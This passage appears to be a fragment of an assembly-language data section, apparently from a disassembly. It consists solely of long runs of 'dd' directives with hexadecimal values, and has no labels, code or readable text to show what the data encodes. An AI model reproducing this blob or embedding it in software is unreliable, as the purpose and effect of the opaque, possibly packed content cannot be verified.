6240FF38h, 0E800C1C2h, 8474DB42h, 72011Fh, 0A048F723h dd 11EB03E9h, 99FCBD07h, 0A1C0C266h, 0FE38019Dh, 90680015h dd 0D3BF976Bh, 4B07C837h, 0A91EB06Eh, 142559C0h, 0FCBC015Dh dd 0F1D03449h, 0C38D033h, 22E4E21Dh, 6E7DDBC0h, 7E1960Bh dd 2F571327h, 51B8E010h, 9E3E18C0h, 21C026Dh, 0E06FE80Bh dd 4E1660h, 0BA673021h, 0E52E70A4h, 8CBBE000h, 85340F0Ah dd 0E3C001EEh, 22A05CA1h, 18C4D428h, 2052E51Eh, 2B27C880h dd 0EFD00Ah, 0BE848D4Fh, 0C7751D83h, 0A5F2D700h, 0FEF40E48h dd 67397BE9h, 0A021C80Dh, 5F0B0CA8h, 0D55EECFDh, 4B04E600h dd 0B057A384h, 972D00E1h, 70895130h, 94900853h, 5C81B800h dd 0EA18212Bh, 4352008Eh, 9747DE1Dh, 95009436h, 0A1F146A9h dd 9685502h, 927C86DDh, 0BC210B80h, 563C75FDh, 0C289F3Dh dd 0E91EF8C0h, 79ECA419h, 30C700F5h, 0AFAA50BCh, 4C00C641h dd 0B82386D6h, 3ACF28h, 6760C5F0h, 169A310Dh, 0FA4FFF26h dd 50808303h, 99E8C83Bh, 0CEA0078h, 0FF892EE4h, 88A0877Bh dd 0B77DAFF4h, 0B6902501h, 0DADF4CD4h, 0E479B70h, 0D36948B9h dd 0B8181B00h, 410578A4h, 0BA1C09A0h, 359ACE80h, 5B30007Dh dd 80B81E20h, 85E2E576h, 22B0D00h, 0FFFEC63Dh, 0FD250016h dd 0AEB617B4h, 580078C0h, 5E306840h, 1500E87h, 21B3EDEBh dd 0F1B28C91h, 0CCD721CBh, 2B005A75h, 6A151F5Ch, 90D4B957h dd 3B9607AEh, 677AFACDh, 6D33A0E7h, 8A006AEBh, 1C781532h dd 328890Ah, 18452059h, 1DE8F0FBh, 4A7AC7EAh, 80006BF6h dd 1CC20978h, 3D1FB80Fh, 0E85F425Bh, 0F82B007Eh, 103D2583h dd 0A3750F44h, 6467D462h, 0C71103Ch, 1700EAB9h, 0CBD53E13h dd 0BA3B009h, 6167DD1h, 404B5A07h, 0C9250C15h, 3910171Eh dd 0B56CE140h, 51B7C4h, 6348921Eh, 82A5083Dh, 8014773Ch dd 0E5EB4A17h, 2CE3124Eh, 0E1C399h, 2FE81504h, 3B72DFEEh dd 1B29DB1Ch, 0E0A6058Fh, 79B5767Dh, 0FC4400A4h, 7068D9FEh dd 0A200854Ch, 2F20D20Bh, 3A8A1Fh, 42C74555h, 0E932BB3Ch dd 150C181Dh, 4FCB7A40h, 0ED3AC71h, 0C2C38449h, 37568D80h dd 0A1003805h, 0C926486Ch, 2D60E4h, 68301E40h, 8528A0FFh dd 0A8B20100h, 0B4D7504Ch, 6BC00ABh, 0CAC13994h, 14003589h dd 54886D45h, 2AA450h, 48992FB0h, 0EB89E02Dh, 39E6B00h dd 0CB612CCAh, 0FA3D003Bh, 99407422h, 4F1E086Dh, 2B001B93h dd 0E78253E3h, 9550247Ah, 3FF30052h, 0FCC8BAB2h, 16F6AD0Fh dd 0ACB3C7CBh, 40CC4830h, 29A300A2h, 1D880201h, 17003A8Ch dd 28262CB8h, 0A0BD98h, 0BC07C341h, 84CC501Ah, 9CDB4E00h dd 635EAFE9h, 2E47AE3h, 0C95A8A26h, 70C3ED7Fh, 5EC0CB98h dd 0AC9E2C3Dh, 900480B6h, 5AC02D89h, 98ECCEF6h, 586179F5h dd 2008DBDh, 898F0C6Dh, 0FC002938h, 4F63CE5Eh, 0A32630h dd 0C273A517h, 25228A6Bh, 0F90068EAh, 0CCEAD723h, 6AFDE6h dd 8AE7C928h, 0A581CE09h, 2CE6DA79h, 87170501h, 350304CCh dd 0C037C03Bh, 3800E87Fh, 0C7014EBDh, 3F7794h, 0AC9E6C7Bh dd 97E548AEh, 68335500h, 720AF2C1h, 0D4C40BC8h, 80D753E7h dd 711F1C24h, 766C0012h, 4BBC324Fh, 0A50014D1h, 0C8D8D707h dd 6457EAh, 1328F7E4h, 8FCA2443h, 763D2673h, 62960090h dd 0AFD394FDh, 0F3010069h, 672710B8h, 0DEFC5B9Ah, 250066F0h dd 1904532Dh, 451586h, 96BAB30Eh, 4F52A985h, 1DC2F94Ch dd 0B05F07EBh, 7800CA2Ch, 17883CE5h, 5B2F0769h, 203064C0h dd 0ADA454A8h, 0B9E5A207h, 8DC71087h, 6E2F8190h, 2D2B00BEh dd 0CD3788B0h, 4C025A8Ch, 0CF584A1Ah, 52F080A7h, 0C6F87Bh dd 0D1940584h, 4A0F7D44h, 0A30FDBB8h, 0A0A15111h, 0B25D64AFh dd 6BDF00A6h, 6A5FD289h, 0D1CE3C5h, 75809B7Eh, 0ECFFF4A2h dd 32A7E16h, 64971310h, 12E0ABBDh, 930C74Ch, 0B1C8CC8Dh dd 7645002Ch, 8697E23Fh, 2A0013EBh, 52ACF19Fh, 50F9D4h dd 0A9837D55h, 0A87A1F6Bh, 0B24248h, 0A7C3DE2Ah, 3C11297h dd 0F0072809h, 0C50AEEh, 521502E1h, 0A012DA55h, 8301A6A5h dd 9CFF305Ch, 3C1B7BCCh, 7FC1486h, 1CF83101h, 0C21AF052h dd 0EA01C1D0h, 0B52C0318h, 0EBE99473h, 0AD5CE0h, 0A549774Bh dd 0AE752E08h, 0D65BE900h, 2DAB5612h, 1657824h, 0F85AD836h dd 0E43C5EC7h, 0E00B414h, 95FFE843h, 20A889h, 8D5CEA9Bh dd 0C8B3A7F6h, 7275C312h, 0C0331FEFh, 11801CA3h, 8474100Bh dd 9E7E8C3Bh, 30007958h, 86C3298Ah, 34220064h, 6C2BC187h dd 1C00237Fh, 0B393BA8Eh, 3CF5F84Ah, 0F513E5h, 1930F2E8h dd 488A3C53h, 6A0012FAh, 0AE16D41Ch, 0D641F8h, 172DF2BCh dd 0F7143A03h, 6F88C401h, 10086977h, 7E297Ch, 20C58319h dd 0DC7E1C5Ah, 0AAB8C407h, 0A0B0F5D3h, 1F928E08h, 408B7552h dd 0D74D2C14h, 0F81FE297h, 87814E10h, 64C10508h, 7256E4h dd 0BE13D44Fh, 331C9D54h, 6B007F71h, 0F7E623D3h, 92EB8F0h dd 52843CBAh, 10213C87h, 958F90B9h, 91921D0Bh, 80B68B09h dd 98048BEFh, 396D39D3h, 0F3D55580h, 523C76B9h, 0DBC0E00h dd 510203C4h, 0C23B3E0Ah, 7BD31080h, 40143B0h, 0EB349A1Eh dd 0F8E76783h, 14B3CF60h, 8305F898h, 750F00FBh, 0ECCC72B7h dd 1982BCEh, 829F3Eh, 1B4A6C84h, 13A2A39Eh, 0B1DC96h, 98957FD2h dd 0C80238D4h dd 30B4D26Ch, 4201E022h, 34990004h, 8C5F3FB8h, 7E001F0Ch dd 9AA2FF24h, 1F49D85h, 0EB0BE4EAh, 0D0A1154Eh, 0F600DA3Bh dd 8273E90Dh, 3D6F44h, 0A0B33F4Ah, 6540CE5Bh, 80B9101h dd 0E5ADF0D2h, 0F034B7FCh, 0C59C01AEh, 891245D8h, 28CD4098h dd 92009A9Dh, 0F529B23Ch, 39CD042h, 0CA6846BFh, 89F8210Dh dd 0F1039659h, 0B1C2B0D4h, 6D6FE0EBh, 412607B4h, 0D017D93Ch dd 0F4373266h, 0EC99DD00h, 4D7249C8h, 197002FEh, 20A1824Ch dd 7E023AE0h, 0B583C700h, 8C2A8D58h, 27230054h, 0F2A5299Fh dd 800BAC2h, 0B4A93ADFh, 6BA41Ch, 802DEB43h, 5134C3A6h dd 5F60FF01h, 70E0609h, 3E4287D8h, 25010215h, 911F6850h dd 0DB83E055h, 2FB97B00h, 567E7ADAh, 0C89C074Dh, 1F5D5CE0h dd 38C75060h, 0EFE8588Ah, 5A260D01h, 32205F74h, 15A5B340h dd 10240009h, 438D55C1h, 3600352Ah, 19AAA034h, 900D9EFAh dd 2C493926h, 44A94603h, 9A984B81h, 0EC0F7D38h, 0E5197515h dd 0F38009D4h, 170880h, 2EAF2695h, 4CA7101Ch, 0EC3C2207h dd 9F0402Ah, 0C777E8h, 99A152BDh, 0C612B39h, 30500600h dd 6BE6AEBCh, 29E00DBh, 0A02174C7h, 0B70B0F1Ah, 80A41840h dd 177C610Fh, 160A005Ch, 7EC05FC9h, 0EB0097F4h, 34502CBEh dd 5864BBh, 698592A8h, 94A791DBh, 9522721Eh, 8EF6BD80h dd 3DD1DDDAh, 8C004BD7h, 2C0806A4h, 89030984h, 55437850h dd 0E06AB830h, 2F1D00EEh, 0FCDEC301h, 4000DFCBh, 0B7C766EBh dd 0FC0A9E0Ch, 7F484h, 144604DDh, 0A1081DD8h, 0F46F2439h dd 0FF00FBFCh, 6DA1876h, 1D8E7F78h, 40CF8B7Bh, 0D04AA613h dd 0B300DDFAh, 0B871F7C2h, 1CB4AF4Bh, 3FCC0619h, 4C358B80h dd 214A7E64h, 9A07787Ch, 0E8BC5C0Ah, 0F0F87CE0h, 0C54F07B2h dd 80477349h, 0ED84B90Dh, 8C7A8616h, 0A1F03400h, 167F425h dd 2F2DC55Fh, 0F59E8351h, 6688F405h, 53153707h, 24E57593h dd 8B3BB0C0h, 5AF10728h, 0E0609749h, 365D3857h, 3F529B00h dd 0CF4404B4h, 0A3EA5Ch, 0B24E944Ah, 21565762h, 0EA73AE00h dd 381625C4h, 8F1800D2h, 4267E37h, 920E459Eh, 0C0318E2Fh dd 4A0146E1h, 0F2EB004Fh, 511DDA73h, 0C400132Ah, 79642FECh dd 81D817h, 0B6B2ACF4h, 2B334DCCh, 54B31D06h, 3BC51E0Ch dd 119D211Ah, 89190034h, 0D1AD0868h, 2CA92300h, 4930900Ah dd 0D8C10F96h, 7F407E83h, 70687705h, 0E0185E00h, 453020C8h dd 28663B40h, 2B344207h, 1525400Ch, 570F12BEh, 0FD23BB8Eh dd 0BA9FC783h, 0B745D0C9h, 8FF092h, 0BF06CAB6h, 0C0DE2090h dd 0D3FF1E00h, 0BDC8558Dh, 6FC1007Eh, 29CC1317h, 561F6119h dd 88000C49h, 35941D55h, 89B0047h, 66929EA4h, 2116739Dh dd 3D0029E2h, 97A38289h, 68A200B4h, 579B6C4Ah, 553B9894h dd 0B12400CAh, 589C5172h, 3C0F7DEBh, 6A00F277h, 0CE70DD5Ah dd 0E23D45AAh, 0D15C00A0h, 0FCF57226h, 3446007Eh, 0DA4714F2h dd 0F7F8F424h, 77AA1960h, 2B9AF9h, 0DB99FE45h, 0B86F28AAh dd 461B6000h, 0C8D42F20h, 81080025h, 0ED0A2923h, 8CF05290h dd 6A71140Bh, 1E43006Dh, 0F1811EAh, 0FCA2E953h, 0A09F13C3h dd 88F680A7h, 0E800B0ECh, 66A05F1h, 2413CE5Eh, 0AD6C7Ch dd 59A94E82h, 0A20E9048h, 40A14434h, 2058B9A4h, 5EA5008Ah dd 0CBAB920Fh, 0DD0124C8h, 52501121h, 25611C18h, 2E745E0h dd 0F5289833h, 0DD601D02h, 0F978DD31h, 0F048998h, 820CD054h dd 8AD5B080h, 24B70037h, 49E65906h, 630061BFh, 0AE121D58h dd 980E4427h, 0E8DE4A4Dh, 0BE870001h, 89DFFBFAh, 0C18500CFh dd 151F57FEh, 67008F17h, 0B9EF4548h, 8FC0Bh, 1C5DCAFAh dd 3E9E055h, 0A468D900h, 81D4B785h, 0C4900029h, 21718A23h dd 38054424h, 5EEE1D0Fh, 0AA1ACBC0h, 0C4AD0064h, 0A5949E51h dd 7B1E09FFh, 0F5DE421Ch, 6843AEC0h, 0E1F532Ch, 0A8DBC816h dd 0BAD61C61h, 0F12AF024h, 810726FEh, 31400689h, 0DA534540h dd 3421001Bh, 381CDE71h, 0F200C485h, 11173C72h, 744C8EEh dd 23E2475Ch, 9D13604Ch, 0E54C49E4h, 0B2F1E4Eh, 0BE644AC2h dd 84F5403Eh, 4B345C56h, 50B8BB00h, 60318925h, 7327EB00h dd 3D80DE04h, 20BA008Ch, 37E805CCh, 8D0093F1h, 10739BC7h dd 8B9A0Dh, 5CCDD5C8h, 2E4104E4h, 79656B00h, 0C4D9F5C2h dd 0F0723967h, 6C696687h, 5C30F0EBh, 0D0094C0h, 0E0221E75h dd 7542320h, 8A53C379h, 70818027h, 9300B57Ah, 9A61F265h dd 6ED60Eh, 196D323Eh, 77592B68h, 7DB7BF00h, 0DC25E1Fh dd 0D60401C6h, 0C08B4281h, 109560F8h, 5407ECF0h, 49EAAF97h dd 8E41D0C0h, 8C8B0380h, 23DD5CF4h, 58D89490h, 52510F00h dd 9FB35D2h, 0E68E009Ah, 0A6E9661h, 3000C481h, 604FC319h dd 158D13h, 23515092h, 0AD90BC10h, 0A38A900h, 21DFDAEh dd 89D838FEh, 0C108071Eh, 14100E0Ch, 207D2016h, 0E09FBE70h dd 7A706014h, 0C0A00380h, 910129E0h, 44022290h, 89040300h dd 18251505h, 310E214h, 84820636h, 0A9309E2h, 0CB30BA3h dd 0ED30DC3h, 10F30FE3h, 80A711F1h, 51C1124Eh, 0E56D18Bh dd 5780882Eh, 44A3900h, 53063572h, 0A09DF8BEh, 188A00B8h dd 5C882840h, 0AA009CADh, 5808420Bh, 0E6D8B7CBh, 318107EEh dd 0E04FFFE7h, 47AFCC7h, 0FE031B00h, 5CD72F89h, 783B6014h dd 9A0FD273h, 27017279h, 0CE2B1080h, 70D4E8D3h, 790101A4h dd 9125CF37h, 0B9803E0Ch, 896182h, 0B5595E3Eh, 32DC1F6Ah dd 7FC0AD1Fh, 0EBBC8100h, 7911ABBh, 17410D88h, 8C1E6082h dd 29000525h, 2402D6F8h, 0C82D66h, 505553B4h, 22579856h dd 0F00FB901h, 612EA2AAh, 0B89D8DE0h, 0F6810054h, 0BC8BABF3h dd 3E00E92Fh, 0F4EE3B13h, 5E76F0h, 5A8FD15h, 8C5C8B38h dd 4CFC831Ch, 40430800h, 6089C53Bh, 0B9EBE819h, 0D006117h dd 0F7282474h, 7440698h, 62336815h, 0C71CD0FFh, 17CC849h dd 890080ECh, 656A8D18h, 0E0142708h, 2C340696h, 0D403E0D3h dd 13DE8100h, 0C43EF101h, 5187000Fh, 30B5788Eh, 0A870EC7Eh dd 33C5D00h, 10F983C3h, 27DB0h, 6C24C040h, 758B4D7Ch, 6DC9A41Fh dd 0ED9CE6C1h, 0C1C848BAh, 1AEE0062h, 3E8025CEh, 300CB2Bh dd 0D88A28FBh, 0DAE9B9h, 0BD766C89h, 3981BF34h, 0BB661007h dd 89FB0714h, 0CA70809Bh, 320FE49h, 7B4ED87Dh, 0EAF0DFAAh dd 4A00A284h, 401A025Dh, 5FC49h, 7E09CA32h, 299BA9B5h dd 0F049800h, 4295628Dh, 0FF960367h, 320DC0B6h, 26985B98h dd 1F046973h, 23824B11h, 61C98B80h, 0F13B1EEDh, 26807EB4h dd 0C12FC88Ah, 4200229Fh, 8F2A8894h, 84BA6Ch, 0C896809h dd 373B0D87h, 0BCE2B328h, 47210A1Fh, 1F4C5E67h, 0FAC89741h dd 0B0AD3800h, 0BD1C01h, 579CFFD4h, 788306C7h, 7208C100h dd 8AA0EF30h, 26410111h, 0BE055488h, 0E648DCFBh, 8E12400h dd 14CA6AE2h, 0DB00950h, 0B680F8C2h, 7817AEEFh, 7334F900h dd 2EFC27D0h, 1FC4E24Ch, 4280CA2Bh, 0E325DC49h, 5CA65AC0h dd 64A42201h, 29279612h, 80C8D4h, 0DCC0E407h, 111C8A1Eh dd 0EBD38700h, 2C46103Bh, 0C30A3973h, 0D21B2800h, 0F3FF9278h dd 30143F00h, 2FD707AFh, 208C0ABDh, 1F8E3418h, 38818108h dd 0DC110D12h, 2EF03C02h, 0E8B0F00h, 843079C9h, 896F00FAh dd 961C410Ah, 431F18B9h, 0E680C371h, 0DABDE85Fh, 62044C97h dd 8E8BC107h dd 31745389h, 598125D0h, 6212F400h, 4068D233h, 70BCE6B7h dd 1689007Eh, 9B2C888Ah, 957B65B8h, 7AA41C18h, 3E3DAh dd 0F8804037h, 91E6723Ah, 4F8D98C0h, 3B685063h, 0E8001FD1h dd 0B942F7CCh, 38015878h, 0E57A08Fh, 30E40820h, 13900085h dd 8941C021h, 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh dd 0E25ED112h, 757D605h, 0C0BE8D43h, 9CD7F219h, 0E3AD2C03h dd 0E882E266h, 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h dd 527E5411h, 5295800h, 0C4860CDh, 0FAA6005Ch, 0E8AACA81h dd 967D8F18h, 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h dd 71CDD1C1h, 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh dd 0D10A34AAh, 8864F404h, 9C1C024h, 4D008316h, 8DED7213h dd 2198BBh, 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h dd 2C35943h, 6D316C62h, 8840098Dh, 15017310h, 5203EDF3h dd 0B0FC148Ah, 0E2800FD0h, 1C0F4Ch, 0EB462434h, 28007560h dd 59A66A7Fh, 0C08318h, 4E7EF203h, 0F5FE8111h, 48C07DE0h dd 4823344Ch, 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h dd 2D94036Ah, 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h dd 46E024A3h, 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h dd 104B053Dh, 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh dd 7C0C222Fh, 311718Ch, 3546D251h, 0BE02BC0h, 640083C6h dd 80DD98DFh, 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h dd 39331B48h, 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h dd 0F7754E01h, 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h dd 0E182009Dh, 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh dd 8814577Ah, 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h dd 0E03D7668h, 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h dd 9314E9h, 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h dd 971129Ch, 8D0600C1h, 0A3422E31h, 6500700h, 21BF145Eh dd 3D8EFADAh, 44D8AC33h, 84E2F00h, 980990F4h, 0E9AB1000h dd 32729B23h, 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h dd 0C2563DCDh, 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h dd 0D6C100CFh, 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh dd 0F4887Ah, 0D741529Ah, 0CA03140Bh, 89770600h, 868A2411h dd 8B40072Dh, 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h dd 0FF0083F6h, 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h dd 0C13C2EC5h, 6B2400E2h, 0A252C26h, 1AB4002Fh, 314A2789h dd 0B0EBDE6h, 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h dd 963D79CFh, 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh dd 8A19F24h, 0D7E40130h, 0F81CF6E8h, 5B5AEB00h, 0A86C9A14h dd 0BD850920h, 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h dd 71D82C1Dh, 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh dd 0F2300C0Bh, 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h dd 0F21FBB4Ch, 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h dd 8D413914h, 3B381D8Bh, 0DE9707C2h, 2BD00024h, 8A3C40D1h dd 50880312h, 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h dd 0CE39FC0Bh, 80A5BEB1h, 43B1CE3h, 0F286Eh, 0C6AFC382h dd 2C1347D2h, 6400FAB0h, 0C217AA83h, 4CCD1852h, 0AB00E428h dd 69B03CE8h, 850341A3h, 78843888h, 0CB47C370h, 441007C4h dd 0F0BB1173h, 1D4BDD82h, 9B00D271h, 27E75AFDh, 0D190C3h dd 406A8726h, 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h dd 307400F7h, 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh dd 3E860EE6h, 12C04BAFh, 37208A5Ah, 0A11C51E8h, 5FD73B11h dd 7C543700h, 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h dd 35E8142Bh, 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h dd 743D6224h, 4053FE00h, 70358B77h, 31300CEh, 0EB0D68CCh dd 8D00632Ch, 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h dd 0C6A63F00h, 0EFF91708h, 46F20Bh, 0FCF80FDh, 0B8C1D9B7h dd 83F2B900h, 2743EC7h, 822F0087h, 2757E181h, 0D900C958h dd 0C13BE440h, 1F7726h, 0DD021D6Eh, 0FA18D2CBh, 0BA965307h dd 62C76F0Ah, 0EB1901D0h, 4C917A08h, 923DC229h, 0BA754F81h dd 70C71EE4h, 0AA3A97A1h, 908B80ACh, 4BE84001h, 0F2530094h dd 825A5B1h, 970E68B8h, 5E195DEDh, 78CB0E00h, 387225Ah dd 56824C75h, 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h dd 55890112h, 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh dd 6BC572h, 0C45B18A1h, 58A5DA88h, 95846007h, 0FC0010C6h dd 800203h, 0F3E4E938h, 11C9798h, 0C23A8300h, 0C7405674h dd 4A9300D4h, 4C35B20h, 48000D7Bh, 0DB2A5E52h, 17A95AAh dd 6F1CA5A3h, 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h dd 4DFF0C05h, 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh dd 9CEC0E9h, 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h, 3FF45174h dd 0EE8031CBh, 8DA6C6ACh, 821D27AAh, 14C0C3F1h, 0F5F20195h dd 5C8500F6h, 0DD54029h, 9200519Dh, 0B2523E4Bh, 3E9A776h dd 29E5F810h, 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h dd 3CE702F0h, 0B10FC458h, 8280A605h, 87453D80h, 6F936400h dd 6D37803h, 20050055h, 2608A11Bh, 44006209h, 9811B34Ch dd 7E750664h, 270C070Dh, 70B68DBFh, 8CF61471h, 541A1500h dd 0AC2EDC8Ah, 789005Eh, 0A96C7952h, 44007C34h, 0E8170509h dd 7AD95F7h, 804893D8h, 875C05Dh, 141FCCD3h, 6C02CA3h dd 18F7C62Dh, 1D890017h, 0F9533BA1h, 0A6EC32CEh, 0AC21DE00h dd 79E3184h, 0A8363997h, 1D803AFAh, 74300E80h, 0B8327563h dd 9D607700h, 5CD24DB3h, 580A00B9h, 649C100Bh, 840F94A7h dd 20309FAEh, 42A9A824h, 0FF011E53h, 5780405Bh, 6F646E69h dd 734B7705h, 0C580DCAAh, 1353925h, 7FE43B7Dh, 7E4F1219h dd 60C5AFB0h, 0BD3822C8h, 0ED7FD0F6h, 4548FC7Eh, 4D9F0031h dd 4E433C69h, 33F80154h, 7542252Eh, 344E7095h, 8057900h dd 2306A32h, 58700060h, 10258050h, 4C00FCBFh, 0C9987ECBh dd 0F2C1997Fh, 36BC002Bh, 29A97B84h, 0F4F4497Ah, 0DF535700h dd 48E71CBBh, 3E79722Dh, 2E00760Ch, 95D7F2F0h, 0B5001B7Fh dd 0CAFF50D3h, 0DF7126h, 33CD9214h, 474F5455h, 6843EC0Fh dd 27A0008Ch, 1A40A9h, 7D017F2Eh, 137534F8h, 5AD37B03h dd 1E9DECh, 64ABFA10h, 34568B46h, 0BB668200h, 6BAD48ACh dd 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h, 0FE120100h, 0A93CEF2h dd 0FC064F09h, 0DB642ED6h, 5B15D803h, 0AB5CB8AFh, 0A9441DB9h dd 0C02D402Bh, 923EE92Eh, 7600F6F8h, 199BB82h, 7A75251Ch dd 4B0A0F42h, 0C200A7D4h, 447B57FCh, 0A38F6950h, 22AF4500h dd 7EDE0930h, 1AD6482Fh, 55F0AC00h, 0BF5405D4h, 5700A975h dd 4B780C73h, 4142ABh, 5B9CFCD6h, 9D5A1799h, 0C4D3D0F1h dd 0B8AB6E00h, 5123FA0Fh, 0DE20004h, 61D92B4Ah, 3100A521h dd 7795CE96h, 39411317h, 1ABDAB52h, 6A986280h, 2153CCA5h dd 0AC73F000h, 0BE927D33h, 0C0AE00D5h, 0C7448D3h, 2A000FE6h dd 17D88384h, 749C53E9h, 67C40044h, 0CB21F25h, 0A030E0Dh dd 2A35EAE7h, 4C18E874h, 134B008Dh, 0FEF6CCA1h, 85055729h dd 8CBA9A3Fh, 0C951CE80h dd 0B3070105h, 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch dd 0B3980A34h, 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh dd 5203A358h, 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h dd 3CEB2806h, 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah dd 0A306B326h, 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h dd 0E4B000Dh, 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h dd 4DF94C57h, 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h dd 111C4C28h, 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h dd 0A0094C0Fh, 1F1C800h, 4FE83202h, 0FE0BA100h, 287C0A6Ah dd 5E49002Fh, 92981062h, 972F7908h, 9E74AFh, 3D024429h dd 0E3B9D90h, 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah dd 16033CFAh, 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h dd 0F6434825h, 83D84D00h, 8CE02E0h, 1D9A24F8h, 0BA3F0033h dd 3C3B1996h, 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch dd 0FA904714h, 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh dd 0FC0ADE64h, 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h dd 0B478BF9Ah, 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h dd 94157C57h, 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h dd 0FE3ED711h, 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h dd 9C917F70h, 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h dd 0EBD46EBBh, 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h dd 0C073EFE4h, 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh dd 26410656h, 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh dd 1AEE224h, 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h dd 3D0F0B76h, 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h dd 481B08h, 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah dd 11E40D27h, 0F15E084h, 0E93520FBh, 155A040h, 8300F818h dd 8A0EF3E1h, 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h dd 0DF031E74h, 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh dd 649D9298h, 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh dd 0A11CEBD8h, 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h dd 2B130091h, 21BF5DE7h, 9C009744h, 61C8427h, 806477h dd 0C3695399h, 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h dd 0ED46BBAh, 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch dd 0F80EFF54h, 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah dd 57B42C33h, 6B72D813h, 61A20900h, 74797D92h, 9F833E49h dd 64F7600h, 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h dd 503CDEA7h, 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh dd 736566D3h, 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh dd 4A86EA6Eh, 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h dd 90940975h, 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h dd 975C5D24h, 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh dd 931E0E12h, 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh dd 0B9C7C093h, 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h dd 9ECBF373h, 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h dd 3C5C4887h, 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h dd 0C21000C0h, 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h dd 0F0B05457h, 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h dd 0D35DF2E9h, 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h dd 0F47BB41Bh, 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh dd 2636DE07h, 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h dd 0A804BCEh, 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h dd 0ABC300AEh, 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h dd 387D0130h, 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h dd 74F8DA2Dh, 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h dd 